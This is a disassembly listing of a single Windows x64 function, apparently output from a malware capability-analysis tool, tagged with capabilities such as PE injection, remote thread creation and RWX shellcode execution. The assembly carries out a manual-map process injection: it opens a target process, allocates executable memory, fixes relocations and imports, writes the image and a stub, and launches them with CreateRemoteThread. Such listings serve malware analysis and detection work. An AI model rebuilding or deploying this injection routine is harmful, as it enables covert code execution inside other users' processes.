Function at 0x140002be0
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Link function at runtime on windows
Spawn thread to rwx shellcode

Disassembly:
mov r11, rsp
push rbx
push rdi
push r13
push r15
sub rsp, 0xa8
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov qword [r11 + 0x20], rbp
mov qword [r11 - 0x28], rsi
mov qword [r11 - 0x30], r12
mov r12, r8
mov qword [r11 - 0x38], r14
mov r8d, edx
mov r14, rcx
mov qword [rsp + 0x48], rcx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, qword [r14]
mov r9d, 0x3000
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r15, rax
movsxd r8, dword [rdx + 0x3c]
mov r8d, dword [r8 + rdx + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdx, qword [r14]
mov qword [rsp + 0x40], rax
movsxd rbp, dword [rdx + 0x3c]
add rbp, rdx
mov ecx, dword [rbp + 0x50]
test ecx, ecx
jne 0x140002c76
xor r13d, r13d
mov ebx, r13d
jmp 0x140002cf9
mov rdx, rcx
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [r14]
mov r8d, 0x1000
mov rcx, rax
mov rbx, rax
call fcn.14002bed0
movzx edi, word [rbp + 0x14]
xor r13d, r13d
add rdi, 0x2c
mov esi, r13d
cmp word [rbp + 6], r13w
je 0x140002ce2
add rdi, rbp
nop dword [rax]
mov edx, dword [rdi]
mov ecx, dword [rdi - 8]
add rdx, qword [r14]
add rcx, rbx
mov r8d, dword [rdi - 4]
call fcn.14002bed0
movzx eax, word [rbp + 6]
lea rdi, [rdi + 0x28]
inc esi
cmp esi, eax
jne 0x140002cc0
mov edx, dword [rbp + 0x50]
lea r9, [rsp + 0x68]
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [r14]
mov r11, qword [rsp + 0x40]
movsxd rax, dword [rcx + 0x3c]
sub r11, qword [rax + rcx + 0x30]
je 0x140002d97
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx + 0xb4], 0
je 0x140002d97
mov r9d, dword [rax + rbx + 0xb0]
add r9, rbx
cmp dword [r9], 0
je 0x140002d97
mov edi, 0xf000
mov esi, 0xa000
nop dword [rax]
mov eax, dword [r9 + 4]
lea r8, [r9 + 8]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140002d8a
mov r10d, eax
nop word [rax + rax]
movzx edx, word [r8]
movzx eax, dx
and ax, di
cmp ax, si
jne 0x140002d80
mov ecx, dword [r9]
and edx, 0xfff
lea rax, [rbx + rdx]
add qword [rcx + rax], r11
add r8, 2
sub r10, 1
jne 0x140002d60
mov eax, dword [r9 + 4]
add r9, rax
cmp dword [r9], 0
jne 0x140002d40
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx + 0x94], 0
je 0x140002e2e
mov r14d, dword [rax + rbx + 0x90]
add r14, rbx
cmp dword [r14 + 0xc], 0
je 0x140002e2e
nop dword [rax + rax]
mov ecx, dword [r14 + 0xc]
add rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8d, dword [r14]
mov rbp, rax
mov edx, dword [r14 + 0x10]
lea rcx, [rbx + r8]
test rcx, rcx
lea rsi, [rdx + rbx]
cmovne edx, r8d
mov rcx, qword [rdx + rbx]
lea rdi, [rdx + rbx]
test rcx, rcx
je 0x140002e23
mov rax, rcx
mov rcx, rbp
jns 0x140002e00
movzx edx, ax
jmp 0x140002e07
lea rdx, [rax + 2]
add rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsi], rax
add rdi, 8
add rsi, 8
mov rcx, qword [rdi]
mov rax, rcx
test rcx, rcx
jne 0x140002df6
add r14, 0x14
cmp dword [r14 + 0xc], 0
jne 0x140002dc0
mov r8, rbx
mov rdx, r15
call fcn.140002a80
test r12, r12
je 0x140002f82
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r9, 0xffffffffffffffff
nop dword [rax + rax]
inc r9
cmp byte [r12 + r9], 0
jne 0x140002e70
mov r8, r12
mov qword [rsp + 0x20], r13
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x10
mov word [rsp + 0x70], 0xb848
mov rdx, rax
mov dword [rsp + 0x7a], 0xccccccc3
lea r8, [rsp + 0x70]
mov word [rsp + 0x7e], 0xcccc
mov rcx, r15
mov qword [rsp + 0x72], rdi
mov rbp, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx + 0x94], 0
je 0x140002f82
mov r14d, dword [rax + rbx + 0x90]
add r14, rbx
cmp dword [r14 + 0xc], 0
je 0x140002f82
nop dword [rax + rax]
mov ecx, dword [r14 + 0xc]
add rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [r14]
mov ecx, dword [r14 + 0x10]
lea rax, [rbx + rdx]
test rax, rax
lea rdi, [rcx + rbx]
cmovne ecx, edx
mov rax, qword [rcx + rbx]
lea rsi, [rcx + rbx]
test rax, rax
je 0x140002f77
mov rcx, rax
jns 0x140002f49
movzx edx, cx
jmp 0x140002f50
lea rdx, [rcx + 2]
add rdx, rbx
lea rcx, [0x140039bb0]
call fcn.14002bdf0
test eax, eax
jne 0x140002f63
mov qword [rdi], rbp
mov rax, qword [rsi + 8]
add rsi, 8
add rdi, 8
mov rcx, rax
test rax, rax
jne 0x140002f42
add r14, 0x14
cmp dword [r14 + 0xc], 0
jne 0x140002f10
mov rdi, qword [rsp + 0x48]
mov r8, rbx
mov rbx, qword [rsp + 0x40]
mov rdx, rbx
mov qword [rsp + 0x20], r13
mov rcx, qword [rdi]
movsxd rax, dword [rcx + 0x3c]
mov r9d, dword [rax + rcx + 0x50]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rdi]
mov r9d, 0x3000
mov r8d, 0x1000
mov dword [rsp + 0x20], 0x40
movsxd rax, dword [rcx + 0x3c]
mov edx, dword [rax + rcx + 0x28]
mov rcx, r15
add rdx, rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rdx
xor edx, edx
mov qword [rsp + 0x60], r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x18
mov qword [rsp + 0x20], r13
mov rdx, rax
lea r8, [rsp + 0x50]
mov rcx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x40
mov qword [rsp + 0x20], r13
mov rdx, rax
lea r8, [0x140002a50]
mov rcx, r15
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r13
mov r9, rdi
mov dword [rsp + 0x28], r13d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r9d, 0x18
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x50]
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rsp + 0x60], 0
mov r14, qword [rsp + 0x90]
mov r12, qword [rsp + 0x98]
mov rsi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xe8]
jne 0x1400030e4
nop word [rax + rax]
mov r9d, 0x18
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x50]
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp qword [rsp + 0x60], 0
je 0x1400030c0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000a650
add rsp, 0xa8
pop r15
pop r13
pop rdi
pop rbx
ret